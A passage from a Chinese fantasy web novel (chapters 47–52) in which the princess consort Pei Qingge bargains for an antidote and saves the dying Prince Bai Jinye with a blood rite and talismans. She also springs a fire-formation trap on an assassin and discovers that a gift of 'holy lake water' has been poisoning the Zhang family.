左辞犹豫了会,才看向楚星玄,“那属下送他回睢园了?” “先不用,晚点再回,你去忙吧。”裴清歌说着抬手招了招,已经完全平复下来的张太妃跟着她走到院子一旁的石椅上坐下。 她也转身坐在她旁边,抬眼看着一起走过来的楚星玄,“之前我还在想,陆绝的毒怎么会这么奇怪,现在看来,这毒也是出自那位和贵妃的手了。” “她与皇上……倒不见得是一见钟情,想必也是动了什么手脚,让皇上倾心于她。” “我今日见她出手狠辣,直接散了一个宫女的魂魄,这人来天风国必然有所图谋。” 顿了顿,她才说,“她可能也是盯上白锦夜手上的兵权了,若是她能控制白锦夜……” 剩下的话,她没有说。 皇上已经倾倒在白月如的石榴裙下,成为傀儡是迟早的事。 再控制天风国的兵权,那整个天风国就成了西夜国的附属。 “看来西夜国,还是没有死心啊。”裴清歌眯了眯眼。 十五年前,西夜国联合天风国、东凉国一起谋划了“围北之战”,大军突破了鬼王沙漠,一路兵临北冥国城下! 三国被击退之后,各自休养生息多年。 如今看样子,西夜国是想从内部彻底控制天风国和东凉国,这样再联合起来的时候,就会以西夜国为尊,不会再有分歧。 那他们的目标,自然还是北冥国。 楚星玄眉头紧锁,“我得想办法回去了。” 第47章 我不愿和一个将死之人一般见识(憋屈快要结束了) 闻言,裴清歌抬头看着楚星玄,“你的毒,多久发作一次?” “五天。”楚星玄的脸色更沉,“若是动了内力,随时发作。” “从这里去月城,再穿过鬼王沙漠,最少也要十天。”裴清歌的手微微握了握,“这毒我没有见过,如果想要研制解药,不知道要多久,况且就算得知配方,也不见得能找到药材。” 她说着顿了顿,转眼朝房里看去,“我想办法帮你拿解药,但你得答应我一件事。” “什么事?”楚星玄挑了下眉。 “我没那么信你。”裴清歌看着他,等楚星玄一回去,就会立刻知道圣女不见了,但凡略加思索,就能猜到她的身份。 她现在,没任何能力和暗城对抗。 但如今,事关北冥国的安危,个人恩怨自然只能放在一边。 “人生之事,不都是赌么?”楚星玄轻笑了一声。 “但是这一次,我赌不起。”裴清歌说着站起来,抿了下唇,才下定决心道,“楚星玄,把你的命蛊给我,我去拿解药,让你回北冥国。” 楚星玄脸上的笑容逐渐凝固,他盯着裴清歌看了半响,“你和北冥国圣女,是什么关系?” 楚家掌管暗城千年,集蛊术之大成。 楚家之人,所炼的第一只蛊,全都是命蛊。 命蛊对蛊主有活死人肉白骨的功效,换句话说,只要命蛊在,楚家人就死不了。 每个楚家人自己养的命蛊是什么、在哪里,就只有自己知道,甚至连身边最亲近的人都不会告知。 不过命蛊只能用一次,而且一生也只能炼一次。 这楚家秘辛,除了楚家人,也就只有北冥国君和圣女知道了。 “就这个条件。”裴清歌没有回答他的问题,“我不会伤害你的命蛊,下次见面,就会还给你。我现在能力低微,自保困难,你可以考虑,但时间也不多。” 说完裴清歌往房间走去,进门之前,让左辞着人送了楚星玄回去。 白锦夜躺在床榻上,面如金纸,汤药根本灌不进去,陆绝虽然在施针,但眼见着他也逐渐是进气多出气少了。 裴清歌在门口站了会,“你这样,已经无济于事。” 陆绝又如何不知自己已经没有把握救活白锦夜?豆大的汗珠从他的额上流下,手上捏着银针,却已经连穴位都找不准。 “我救他,你把睢园那位的解药给我。”裴清歌又道。 陆绝这才转头看来,“药是王爷让下的,没有王爷的命令,我不会把解药给你。” 裴清歌看了看陆绝,目光又在白锦夜的脸上扫了一圈,“随你。”话落转身就要走。 “王妃!”左辞赶紧拦住她,“王妃,你救救王爷吧。” 裴清歌看着他没说话。 左辞赶紧看向陆绝,“陆神医,那就是一个无关紧要的人,你就把解药给了吧!” 陆绝捏着银针的手紧了紧,还是咬了咬牙道,“不行。” “怎么不行啊?王爷之前不是说了,他……他万一有个三长两短,就把解药给他,让他赶紧走么?”左辞一急,就把之前白锦夜交代后事的话说了出来。 说完他顿了顿,想着自己反正都说了,也就不在意说的更多了,“王爷说他的身份看起来没那么简单,当初救他的时候他就一身的伤在被人追杀,万一以后被仇家发现他在这里,他若是死在肃亲王府,将来北冥国那边若是有人追究起来,说不定会引来更大的麻烦。” “陆神医,一开始救他是好心,后来不让他走是因为张太妃。现在他已经是烫手山芋了啊,为什么不给解药?” 陆绝沉着脸,没有说话。 裴清歌转头看向陆绝的侧脸,轻笑了一声,“平时看着王爷对你不错,还以为你们兄弟情深,救他或者不救他,我以为这应该是道很容易的选择题。” 左辞已经不想再啰嗦下去,拔剑指向陆绝,“陆神医,如今救不救王爷的选择权在你手上,你若给解药,王府上下待你依旧如前。你若不给解药,那你就是与整个肃亲王府为敌!我不会放过你……也不会放过你的亲人,让你们……”他说着看了一眼白锦夜,“让你们都给王爷陪葬。” 陆绝依旧没有动。 “我知道你有软肋。”左辞一字一句地慢慢说道,“你师妹,是么?” “你!”陆绝瞪着左辞,脸色乌青,半响才道,“好,好,左辞,你可真好啊!” 他说着从怀里摸出一瓶药,扔向裴清歌,又对着左辞道,“道不同不相为谋,等此番王爷伤好,我就向王爷辞行!”说完就怒气冲冲的往外走。 裴清歌接过药瓶,打开盖子闻了闻,有一丝青灵草的味道。 青灵草长在鬼王沙漠,绝不是陆绝能拿到的东西,应该是解药。 她收好药瓶,走到床榻边,拿起陆绝扔下的银针,继续施针。 片刻之后,白锦夜就悠悠转醒,裴清歌也就转身去写药方。 左辞一下子扑到床边,“王爷,王爷,你可醒了!” 白锦夜的目光有些茫然,他盯着左辞看了半响,似乎才回忆起昏迷之前发生的事情,他吸了口气,词不成句,“本王……怕是……不行了。” “不,不会的。”左辞连连摇头,“王爷,王妃说了,能救你,就一定能救你。” 白锦夜这才从他的脸上移开目光,看向裴清歌。 裴清歌把药方递给左辞,“左总管,这是药方,快去熬药吧。” “好,好。”左辞赶紧接过药方,出去熬药了。 裴清歌又把其他人都打发走,关上了房门,才转回房里,坐在不远处桌边的椅子上,看着白锦夜,“我是骗左辞的,你本就寿元将至,又有人暗中害你,我救不了你。” 白锦夜对她的话也不意外,他微微垂下眼,半响才问,“你早就……知道本王快死了。” “是。”裴清歌也不隐瞒,“我也不愿与一个将死之人一般见识。不过——”她说着又话锋一转,“我其实有个办法,能让你继续活着。你自己心里应该也清楚,你早晚都会和张太妃一样,变成肉尸,我可以让你提前……” “不。”白锦夜打断她,“本王不愿。” “不是完全张太妃的样子。”裴清歌解释道,“白天和常人无异,子时之后,才会变成肉尸,不会发狂,并且不会被人控制。” 白锦夜看着她,显然不信,张太妃的样子,早就已经刻在他心里,他宁愿死,也不愿意变成那样! “刚才施针,能大概吊三个时辰的命,你考虑一下。”裴清歌说着站起身,“想想张太妃,想想你军中的将士,想想你现在闭上眼睛,所有安排妥当的后事,是不是真的不会出一点问题。” 说完,她就要离开。 走到门口,便听见白锦夜的声音从背后传来,“若是你能保证你说的——好。” 第48章 喝一口 裴清歌转身看了看白锦夜,“我去准备些东西,如果你觉得不放心,一会左辞来送药,你再把不放心的事交代一遍。” 说完,她就出了门,脚步微顿了下,直接往睢园走。 楚星玄倒是没想到她来的这么快。 进了门,裴清歌也没说话,先是起了一卦,看着卦象,她眉头紧紧地皱起来,顿了顿,才问,“你考虑好了么?” “我才刚回来没多久,这种大事,怎么不得考虑个几天。”楚星玄给自己倒了一杯茶,慢悠悠地道。 “没那么多时间了,要么今天走,要么可能就走不了了。”裴清歌收起铜板,“肃亲王府可能有大祸。” 楚星玄喝茶的动作顿了顿,垂下眸,“可我也没有那么相信你,但是我有一个折中的办法。” “你说。”裴清歌看着他。 “我给你和我的命蛊结一个血契,若是你杀了我的命蛊,你也会受到反噬。等我回去安顿好,就会来找你拿回我的命蛊,到时候再解开血契。”楚星玄开口道,“你放心,这血契肯定要解除的,不然和别人结了血契的命蛊我用不了。” 裴清歌沉思了片刻,点了点头,“行。” 楚星玄看着她,像是还在纠结,又隔了好半天,才取下腰间的玉佩,用拇指摸了摸,玉佩中间,隐隐的有一条和玉佩同一颜色的虫子动了一下。 但这虫子又仿佛和玉佩是一体的,看起来就像是玉佩上的刻纹。 看着这玉佩,裴清歌微微挑了挑眉,没有说话。 楚星玄割破了裴清歌的手指,抓着她的手指在玉佩上画下一个奇怪的花纹。 玉佩中的虫子一下子就活跃起来,很快玉佩上的血就消失得一干二净。 楚星玄抿了抿唇,这才把玉佩递向裴清歌。 裴清歌当即接了过来,“碧血虫,碧血石,你爹真是老来得子,把你宠成这样,这东西千年难遇,他是下了多大的血本才把它给你抓回来的。” “你可要好好收着它,要是丢了,你恐怕拿命都赔不起。”楚星玄叮嘱道。 “知道了。”裴清歌收起玉佩,把解药给了他,“吃了药,赶紧走,这王府也不会有人拦你了,路上自己多小心吧。” “你自己在这里,也多注意安全。”楚星玄顿了顿,看向裴清歌的肩头,“不过,你好像有什么挺厉害的自保方式。” 裴清歌没理这茬,只是说,“楚星玄,希望咱们合作愉快,并且也不是最后一次合作。” * 左辞熬了药回来,喂白锦夜喝完,见他似乎没有那么虚弱了,才终于放下心。 “去把纸笔拿过来。”白锦夜吃了药,感觉微微有了些力气。 左辞不明所以,但还是按照他的吩咐去拿了纸笔。 白锦夜提着笔,手还微微有些抖,写出的字也不似平时那么遒劲有力,差不多用了半个时辰,才写了六七张字。 他让左辞拿着信封封好,“若本王有个三长两短,这封信你和司空一起看。” “王爷别再乱说话。”左辞收信的手顿了顿,“你看你现在已经在好转,很快就没事了。” 白锦夜没有说话,任何事情都没有绝对,就算成功的概率再高,也还是会可能失败,他还是要做好万分之一的准备。 左辞现在是无比相信裴清歌,但也不能只说白锦夜的担心多余,只好把信收起来。 正欲退下让白锦夜休息的时候,又想起刚才的事情,于是赶紧单膝跪在床榻前,“王爷,属下刚刚与陆神医有些不快。” “王妃想要睢园那位的解药,但陆神医不给……”他说着犹豫了下,小心翼翼地看了眼白锦夜的脸色才继续道,“王妃说,若是不给解药,她就不救了。”说完又赶紧解释,“但属下觉得王妃只是拿这个当借口,就算真的没有解药,王妃也会救你的。” 白锦夜看着他,也没有纠正他的话,若是没有解药,怕是裴清歌是真的不会管他。 “陆神医不想给药,属下没办法,就……就用了陆神医的师妹要挟他。陆神医给了解药,但是他说,等你这次伤好,他就会辞行了。” “属下只是一时心急,若真是因此王爷与陆神医生了嫌隙,便是属下的错,请王爷责罚。” 白锦夜摆了摆手,“解药给了便给了吧,吃了解药,他大概很快就会自行离开,到时候你让何知跟着他,确保他安全抵达月城,之后便不用再管了。” “是。”左辞点头应下,“那陆神医……” 白锦夜敛了敛眸,还没等说话,裴清歌就端着一碗东西走了进来。 “左总管,麻烦你带着一队侍卫,守在门外,不允许任何人进来打扰。”裴清歌说着把碗放在床头边的矮桌上,“具体要多久我也不知道,但若是被打断,那可关乎你家王爷的性命。” “是。”左辞应声起身。 裴清歌犹豫了会,才又说,“不然你叫司大人一起吧,顺便也守一守张太妃。张太妃现在虚弱,没什么攻击力,更没有自保能力。我怕有人故意这样做,是想要趁虚而入。” 左辞微怔了一下,看向白锦夜,他可以听从裴清歌的调遣,但是司空有军职在身,想调遣他除非有王爷的命令。 白锦夜沉默了片刻,才点点头,又说,“事急从权。” “是。”左辞领命,迅速的离开去安排了。 裴清歌关了门,又在门窗边各设了几道阵法。 从床榻前的屏风到床榻之间,更是每隔半尺就设一道阵法。 她把她拿过来的碗递给白锦夜,让他端好,放下床幔,拆开刚刚包扎好的手指,用血在床幔上画了最后一道阵法。 若真的有人来捣乱,这就是最后一道屏障了。 这道屏障也破掉的话,白锦夜这条命,就彻底回天乏术了。 她轻轻叹了一口气,转身掀开碗上盖的红布,一股浓郁的血腥味夹杂着些许恶臭扑面而来。 即便是在战场上杀敌无数的白锦夜闻到这味道也差点干呕,就在他努力地压下胃里的翻腾的时候,便听裴清歌一脸平淡地道—— “喝一口。” 第49章 现在的你,没资格知道 白锦夜几乎怀疑裴清歌这就是在报仇—— 以往她对自己肯定有怨气。 裴清歌认真地看着他,又重复了一边,“喝一口。” 白锦夜咽了口口水,半响后才把碗递到嘴边,终于还是没忍住,干呕了几下,隔了好一会,才屏了一口气,抿了一口。 裴清歌看着他,又说,“不够,多喝点。” 白锦夜几乎快把隔夜饭吐了出来,这东西,入口黏腻,虽然咽下去了,但是嘴里却全是臭味。 他咬了咬牙,才一闭眼,喝了一大口。 裴清歌把碗接过来,就见白锦夜捂着嘴,她赶紧补充,“千万别吐出来,剩下这半碗还有别的用处,再多我也没有了。” 白锦夜只能深呼吸,再深呼吸。 裴清歌就坐在他对面,静静地看着他。 不知道隔了多久,听到外面有整齐划一的脚步声,这应该是司空带着人来了。 从城外过来,最快也要一个时辰,然而这么久了,白锦夜觉得嘴里的血腥恶臭的味道一点都没散去。 他甚至已经开始逐渐接受这味道,觉得没有最开始那么令人反呕了。 “这是什么?”他吸了一口气开口问道。 裴清歌垂眼看着碗里腥红的液体,“你闻到的恶臭,是引魔花的味道,你觉得它臭,是因为你还没有变成肉尸,如果你变成了肉尸,这对你来说,就是凤髓龙肝。你运气不错,睢园的那位别的不多,身上的药材倒是不少,若是没有他身上的这些药材,就要再多费些功夫了。” 说完,她抬起眼,“你把衣衫都脱了吧。” 白锦夜纵是没什么血色的脸,听到这句话,还是泛了几丝红晕,只是还不等他说什么,就见裴清歌拿了一只极细的笔,沾着碗里的液体。 他顿了顿,除去衣衫,背对着裴清歌坐下。 裴清歌便动了笔,仔细的在他的身上写下阵法和符咒。 这件事,像是极其耗费精力,她每写一会,就要停下来歇一歇。 写到一半的时候,已经是满头大汗。 裴清歌深深的吸了口气,平复了好一会,绕到白锦夜的身前,继续写。 只不过这一次刚落笔,就听外面传来一位公公尖细的嗓音,“皇上有旨,急召肃亲王入宫。” 白锦夜猛地睁开眼睛,这是袁让的声音。 袁让是大内总管,也是白砺寒身边最亲近的内侍,他来传旨,就意味着必须要把人带进宫了。 裴清歌嘴角勾起一抹笑,“这就来了。” “袁公公,王爷此刻怕不能进宫,王爷受了重伤,至今昏迷不醒,也没办法接旨了。”左辞的声音也很快传来。 “哦?”袁让显然不信,“王爷今日从宫中离开的时候,还中气十足呢,也没听说有什么大事,怎么就受了重伤了?” “我也不敢拿王爷的安危来开玩笑,此刻……”左辞说着顿了顿才说,“此刻府医正在医治,不能打扰,袁公公请回吧。若是王爷醒了,我定当转告。” 外面的声音沉默了片刻,袁让才又开口,“一个区区府医能治得了什么?去,传咱家的话,请太医院的人过来给王爷医治,看看太医院都谁在,有一个算一个,全都赶紧过来。” 请太医这事,左辞阻止不了,只能想着这一来一回也要时间,等着太医到了,再想法儿阻止就是。 又过了半个时辰,太医还没到,外面就又是一番吵吵闹闹,左辞拦了半响,最后一道中气十足的暴喝声传来—— “混账,你口口声声说王爷伤重,昏迷不醒,我可是他外公!连我都不让进么?” 连白锦夜的外公都搬出了…… 裴清歌垂着头,继续写着符咒。 白锦夜低头看着她写写画画,无论是图案还是文字,他一个都不认识。 隔了会他才问,“睢园的那个人,你知道他是谁吧?” 他们虽然把那个人带回来很久了,但是他自己不说,他们也不知道他的名字,除了知道他是北冥国人以外,其余一无所知。 “你已经打算放他走了,你也根本不在乎他的身份。”裴清歌眼也没抬,“你想问我为什么会认识他,以及我为什么会这些。” 她说着轻笑了一声,“如果有机会,也许你以后会知道的,但是现在——” 她顿了顿,掷地有声地道,“你没资格知道。” 白锦夜拧着眉,不等再说话,外面甚至传来兵器相见的声音,他转头看向窗外的方向,眼底闪过一抹担忧,若是外公真的来了,左辞怕是拦不住。 “张将军!”左辞突然高声道,“张太妃已经被医治好了,你现在不想去见见她么?府医正在救治王爷,反正你也进不去,不如先去看看张太妃如何?” 外面打斗的声音停了下来,左辞赶紧道,“快带张将军去看张太妃。” “不算太笨。”裴清歌说着看着白锦夜身上密密麻麻的符咒,只剩下胸口周围一片空白,这里,也是最重要的一个符咒了。 她吸了一口气,就听袁让的声音又响起来,“太医院的院判都到了,左总管还不让一让么?难道你觉得院判还不如你们王府的府医么?” 左辞沉默了会,“再等半个时辰,若是半个时辰之后,府医还是没能治好王爷,再让院判大人看看。” “等不及了!”袁让的声音严厉起来,“咱家有皇上的旨意,若是再有人阻拦,就是抗旨,杀无赦!” 话音落下,他身后的几个侍卫就往前走,左辞要拦,可是只交手几下,就被人一掌打飞。 他倒在地上,震惊地看着这几个侍卫,“你们……你们不是宫里的人,你们是谁?袁公公,你到底要干什么?” “敬酒不吃吃罚酒!”袁让冷笑一声,“砸门!” “嘭!”的一声,房门就被人踹开,那侍卫只往前走了一步,就被什么东西弹飞了出去。 左辞见状,也来了力气,起身就缠斗住其中一个侍卫。 听到这边的打斗声,守着张太妃的司空也迅速带人来帮忙。 一直站在袁让身后一步垂着头的黑衣人眯眼看了看房门,几步上前,手上捏了几个印诀,门口的阵法就破了,他径直进了门。 感到阵法一道道被破解,裴清歌的脸色也逐渐凝重。 阵法与设阵之人紧密相连,她可以设更大的阵法,但阵法被破后,她也要承受更大的反噬,现在她做的事,不能有丝毫差池。 所以她只是设了一些拦人的阵法,就算是被破,也不会对她造成什么伤害。 而且还会为她拖延些时间。 床榻前的最后一道阵法被破,袁让也走了进来,“肃亲王,咱家就亲自进来请你了。” 那黑衣人也闻到床幔之内的味道,眉心微微皱了一下,犹豫了片刻,正要去破床幔上的阵法,床幔突然被人从里面拉开—— 第50章 陆神医,人各有命,是吧? 床幔被人拉开了一条缝隙。 白锦夜抬眼看着站在床榻前的黑衣人。 那人见到白锦夜后,迅速的低头闪身躲到了袁让的身后。 虽然只是一瞥,但白锦夜还是想起,他曾在和月如的身边见过这个人,他眯了眯眼,抬眼看向袁让,“袁公公,本王确实有伤在身,不知皇上急召何事?” 袁让心下计较了一番,抬手让身边的黑衣人退了出去,才低声道,“王爷,今日宴后,和贵妃去皇上那哭诉,说您轻薄于她。皇上与众王爷皇子在御书房议事的时候,王爷确实离开了片刻。” “王爷也知道,和贵妃可是皇上的心尖儿,这事无论真假,恐怕王爷都得进宫当面向皇上亲自解释了。” “别说王爷有伤在身,就算王爷只剩一口气了,咱家也得把你抬进宫去。” 白锦夜瞥了他一眼,这袁让能走到今天这个程度,早就是个人精了,想必来之前,已经有人交代了什么,如今见自己还好端端的,他只能这样卖自己个人情。 这话提前说了,他多少也有个准备。 和月如…… 到底是什么深仇大恨,她非要置他于死地? “好,烦请袁公公在门外稍等片刻,本王更衣后跟你进宫。” 袁让福了福身,退出了门外。 白锦夜转头看向躺在床榻上闭着眼的裴清歌,微微皱起眉,她写完最后一笔的时候,他身上的符咒花纹就全都不见了,然后她自己也晕了过去。 他起身穿上衣服,犹豫了下,才转身拉过被子盖在裴清歌的身上,正要走,却突然被人抓住手腕。 裴清歌睁眼看他,声音微弱,“子时。” “记得。”白锦夜点点头,无论宫里到底怎么样,子时之前,他必须得回来。 * 白锦夜到了宫门,下了马车,目光在袁让的身后转了一圈,“袁公公,跟着你的那个黑衣人呢?” 袁让似乎这才注意到有人不见了,他也四下看了圈才说,“这人不归咱家管,许是出去办事了,王爷快进宫吧。” 白锦夜拧了拧眉,心里有一丝不太好的预感,脚步顿了顿,招左辞过来,低声在他耳边吩咐,让他赶紧回府。 左辞闻言,脸上一点都不见惊讶,只说,“王爷放心吧,王妃已经安排好了。” “安排了什么?”白锦夜眉头皱得更紧。 左辞挠了挠头,“不能说,等王爷回去,自然就知道了。” “王爷,快请吧,已经耽搁不少时间了。”袁让又催,“可别让皇上等得更久了。” 白锦夜又狐疑地看了左辞一眼,见他满脸的信誓旦旦,这才迈步往宫里走。 * 黑衣人并没有离开王府,而是等袁让带着白锦夜离开后,就一路往睢园摸。 睢园里光线极暗,因为有和月如的交代,所以他每走一步都小心翼翼。 只不过看过刚才那些阵法,他心里也觉得和月如有点担心过头了,只会设置那么简单阵法的人,显然不可能是什么高手。 就算是对上,他也是必赢无疑。 一路摸到卧房,隐隐地他便见到床上躺着一个人。 和月如让他不要靠太近,只是把交给他的那道符咒扔过去就好,他从袖袋里拿出符咒,食指和中指捏住,用力一甩,那符咒瞬间飞到床边。 紧接着,一个巨大的火球腾空而起,包围了整个床榻。 黑衣人也没想到这个符咒这么厉害,下意识地抬手挡了挡,转身正要离开,就见外面也瞬间火光冲天! * 裴清歌站在离睢园不远的地方,因为耗费了太多精力而脸色微白。 她最大的阵法,在睢园。 这还是楚星玄走之前帮忙布置好的。 她从卦象上看出,对方的目的不只是白锦夜,更是楚星玄。 白锦夜的杀劫在宫中,那得靠他自己化解。 但这睢园的杀劫,却有反杀之势。 对方如果没动杀心,也不会触动这个阵法。 对方一旦对阵眼摆置的物体动了杀手,阵法就会瞬间启动。 没有人能从火牢阵里逃出来。 司空站在她旁边,脸色凝重。 陆绝匆忙赶到的时候,就见睢园一片大火,“怎么回事?司空,这是怎么回事?” 司空转头看他,也不知道该如何解释。 裴清歌轻轻叹了一口气,从怀里拿出药瓶。 陆绝看过去,正是他不久前给她的解药。 “还以为拿到了解药,能救他一命,没想到……”裴清歌说着用力把药瓶扔进了火里,“没想到人各有命,陆神医,你说是吧?” 陆绝盯着裴清歌看了会,又看向司空,“那个人还在里面?” “一直没见他出来。”司空只是实话实说。 陆绝拧了拧眉,没再说话,又站了会,就转身离开了。 他刚走,又一道身影急匆匆而来。 年纪看着四十岁上下,身材伟岸,孔武有力。 司空赶紧行礼,“张将军。” 裴清歌心中诧异,这张将军是白锦夜的外公,张太妃的爹,按理说怎么也要六十岁左右了,可看着怎么这么年轻? “嗯。”张之极应了一声,看了看大火,又看向裴清歌,“这位是……” “是王妃。”司空犹豫了下,才开口道。 张之极眉心皱了下,没说话,又问,“这大火是怎么回事?” 裴清歌看他的表情就知道他对自己应该也是颇有微词,于是也没再留,转身往梧桐院走。 大火只烧了睢园,整个睢园都烧毁了之后,火就熄灭了。 等散了浓烟,侍卫在火场里发现了一具焦尸。 焦尸抬出来的时候,白锦夜也刚好回府。 左辞看了看那焦尸,才压低声音道,“看,属下就说,王妃已经安排好了,这应该就是摸进睢园想要下手的人。” 白锦夜微微皱起眉,看向睢园的方向。 “那位已经走了。”左辞又道,“何知跟着呢,王爷放心吧。” 白锦夜点点头,隔了会才说,“着人把这焦尸装进棺材,送到月城,就葬在当初发现他的那个地方。” 左辞怔了下,但很快明白,接了句,“是啊,活着的时候一直想去月城,王爷仁慈,让他能魂归故里。” 张之极已经等了许久,见白锦夜回来赶紧从堂上走了出来。 “锦夜,今天到底怎么回事?袁公公着人通知我说你受了重伤快不行了,让我来见你最后一面!” “皇上为什么要急召你入宫?是有什么大事?” “还有那大火,你这府里没一个人能说个明白!” 最后他想了想,脸上更加气愤—— “你那个王妃,简直没大没小,我是你外公,是长辈,行礼问安的不说,连个招呼都不打么?我在这坐了这么久,她都不知道出来奉杯茶么?” 顿了顿,他又补充,“现在外公来你府上,连顿晚饭都吃不到了么?!” 第51章 他想要你们张家断子绝孙,全家不得好死! 白锦夜几乎就直接忽视了张之极前面的话,转头看向左辞,“准备晚膳,本王陪外公小酌几杯。” 重新回到堂上,入座后,白锦夜才开口,“外公,近来我府上事多,就没怎么去探望你。” 张之极想着白锦夜那糟心的婚事,叹了口气,“这裴家怎么敢?” 这些日子,但凡他遇到裴靖,都免不了要明嘲暗讽几句,裴靖那老贼,得了便宜还卖乖,一口一个亲家,叫得他心烦。 白锦夜垂眼看了看自己已经褪去紫青色的指甲,“倒不是坏事。”说完,又叮嘱道,“外公,我这边的事,你也不用担心,今天袁公公摆明了是利用你来闯门。左辞司空是自己人,若真的有什么事,也会是他们去通知你的。” 张之极的脸色有些尴尬,也明白是自己莽撞了,“哎,我这不是担心你么?你也知道,咱们张家人,除了我和你母妃,可就剩你自己了。我今天见过你母妃了,她是好些了?” “也许有救治的法子。”白锦夜点点头。 “那就好,那就好,能救了她,那你以后……”张之极说着顿了顿没再说下去。 沉默了会,白锦夜才又低声问,“外公,你可想告老还乡?” 张之极默然,本来他这一支张家支脉,是宗族里最有名望的一支,哪知几年之间,死的就剩下三个人,他就算告老,又哪有脸回乡? 叹了口气,他才说,“今日进宫,可是有什么事?” “兵权。”白锦夜微微皱了下眉。 “如今我虽挂着将军之名,但偶尔去卫戍大营里巡查一圈,手上哪有实权?除了你和岐风王,也就贺元忠和梅训庭手中有兵权。岐风王现在还在京中,皇上是想要制衡?”张之极分析道。 “没那么简单。”白锦夜顿了下才说,“也许是西夜国。” 张之极眸光微微震了下,正要说什么,左辞便走进来说饭菜已备好。 往饭厅走的时候,左辞又小声提醒,“王爷,今日可多亏了王妃,我刚刚问了桑榆,她说王妃回去就睡了,也还没用晚膳,看着像是累坏了。” 白锦夜瞥了他一眼。 左辞只是把头低得更低,琢磨着还应该说点再什么。 片刻后,白锦夜才说,“你去看看她醒了没有,若是醒了,就叫她来前堂跟外公一起用晚膳。”顿了顿,他又补充,“她若是不愿意来,就送些晚膳过去。” “是。”左辞脸上露出一抹笑,这一次甚至是跑着出去的。 两个人说话的声音低,但张之极还是听见了,他转眼扫了一下白锦夜的脸,微微皱了下眉头,这婚事不管如何,只要白锦夜认了,他这个当外公的,也就只能接受了。 白锦夜本以为裴清歌不会来,但一炷香后,左辞就带着她到了。 左辞移开了白锦夜旁边的椅子,又用袖子擦了擦,可抬眼就见裴清歌坐在了圆桌的另外一边。 挺大的圆桌,倒是白锦夜和张之极离得近,裴清歌一个人坐在远处了。 左辞犹豫了下,正想劝说,就见白锦夜对他挥手让他下去了。 裴清歌只是饿了,她刚睡醒,正打算让桑榆去厨房找点吃的,左辞来说有饭吃,她肯定当仁不让,进门了才发现张之极还在,想走也晚了。 张之极轻咳了一声,好歹他也是长辈,就这么先开口是不是有点跌份儿? 裴清歌也没理他,拿起了筷子,就准备吃饭。 白锦夜拿起酒壶,给张之极倒了一杯酒,“外公,这酒是我从幽州带回来的,你尝尝。” 张之极没动酒杯,又咳了一声,才耐着性子看着裴清歌道,“裴家丫头,你爹是我的门生,如今你和锦夜成亲,叫我一声外公,不为过吧?” 裴清歌嚼饭的速度慢了下,看了看白锦夜,又看了看张之极,顿了顿才说,“我和肃亲王没那么熟,也不想和他的家人攀亲戚,你们喝你们的,我吃我的,我吃完就走。” 张之极觉得自己已经是拉下老脸主动说话了,没想到热脸贴了个冷屁股,顿时气得红了一张脸,连饭都不想吃了! 他一拍桌子站起来就要走,又想起什么,从怀里摸出一个小瓶递给白锦夜,“就剩下这么一小瓶了,本来打算留着给你的孩子,现在怕是也没这个机会了,你就收着吧,将来若真有性命垂危之时,也许能救你条命。” 裴清歌本来对他们家这疑似“祖传”的秘药没什么兴趣,但她却蓦地闻到了一丝若有若无的幽香。 这香很熟悉,是圣湖水的香气。 她一下子站起身,几步绕过桌子走过去,把瓷瓶从张之极的手里拿了过来,拔开瓶塞,浓郁的清香味瞬间飘了出来。 张之极看着她的动作,双手背在身后,下巴微微太高了些,脸上带着几丝自豪,“哼,还挺识货,留好了吧,将来有了孩子……” “这是哪来的?”裴清歌举着瓷瓶打断张之极的话。 张之极拧了拧眉,“我说裴家丫头,你就不能有点礼貌么?” “我问你这是哪来的!”裴清歌微微提高了声音,带着几丝严厉,身上竟隐隐散发了些上位者的气势。 张之极怔了下,好半天才开口,“这……这是别人给我的,怎么了?” “别人给你的?谁给你的?”裴清歌往前走了一步,目光咄咄逼人。 白锦夜抬手拉了下裴清歌的手腕。 裴清歌转头瞪他,“把手放开。” 白锦夜皱了下眉,没有放手,只是说,“有什么想知道的,好好问,外公不会不说。” “那就赶紧说,谁给你的!”裴清歌又问。 “我不认识,我只知道这水喝了之后可以强身健体,延缓衰老,甚至连我以前在战场上留下的旧疾都逐渐康复。”张之极说得理直气壮,“你看我,同龄人之间,哪个可以跟我相比?” “你也喝了?”裴清歌皱了下眉,抬手捏住张之极的手腕,探查他的脉搏,顿了半响才问他,“所以你给张太妃喝了?也给白锦夜喝了?甚至给张家的其他人喝了?” 张之极点点头,看着裴清歌的表情,隐隐觉得哪里不太对劲,“这水有什么问题么?” “问题大了!”裴清歌把瓶塞塞好,回到椅子上坐下,“你最好好好想想,当初是谁把这个水给你的,他是想要你们张家断子绝孙,全家不得好死!” 第52章 要不要让王妃搬到九思院来住? 张之极的脸逐渐转白,跌坐回椅子,嘴唇动了好半天,最终才找回自己的声音,“你是说……张家人都是因为喝了这个水才死的?玳翎……代翎也是因为喝了这个才疯了,变得人不人鬼不鬼?” “不……不可能,你看我怎么一点事都没有?我喝了很多啊,他们每个人才只喝了一小茶杯啊!” 裴清歌冷笑一声,“这水要配合清心草,一起吃下去,才有强身健体的功效,但是单独喝这水,就会变成张太妃的样子。” “那人给我的时候,只给了我水,没给我清心草。”张之极否认,“我都不知道清心草是什么。” “那种草是红色的,双叶对生,草心是绿色的。”裴清歌简单地描述了下。 张之极仔细地回忆了下,半响才道,“难道……我在鬼王沙漠里吃的东西就是清心草?” 裴清歌的脸色一变,“你去过鬼王沙漠?” 张之极点点头,眼底闪过一抹痛苦,隔了很久,才有些沙哑地道,“十五年前,先皇接到密报,说北冥国国君得到一种修仙长生之法,但以人命为祭祀,连屠西夜国三城,西夜国派使臣来我朝商议共同抵抗北冥国时,月城也惨遭北冥国大军屠城。” “先皇命我率兵与西夜国、东凉国一起,围剿北冥国。” “一开始,三国联军势如破竹。但某一天清晨的时候,突然狂风大作,乌云密布,天瞬间黑的不见五指。” “我自己也被风吹走,连着撞了几下,晕了过去,等醒来睁开眼,就在鬼王沙漠里,好在我身边还有几个将士,我们一起想办法走出沙漠。” “走了几天,有受伤的将士撑不下去死了,有人疯了跑进沙漠深处,最后只剩下我自己。” “为了活下去,有什么能吃的,就吃什么。后来我遇到一队商队,他们带上我,给我吃的,给我水,他们一直把我带到沙漠边缘,给我留了很多很多吃的和水,又给我留了一匹骆驼,告诉我再往前走,半天就能出去……” “不可能。”裴清歌摇了摇头,北冥国从来没有什么以人命为祭祀的修仙长生之法,更不可能屠城! 况且,北冥国向来不与外界走动,怎么可能会有商队在鬼王沙漠里? 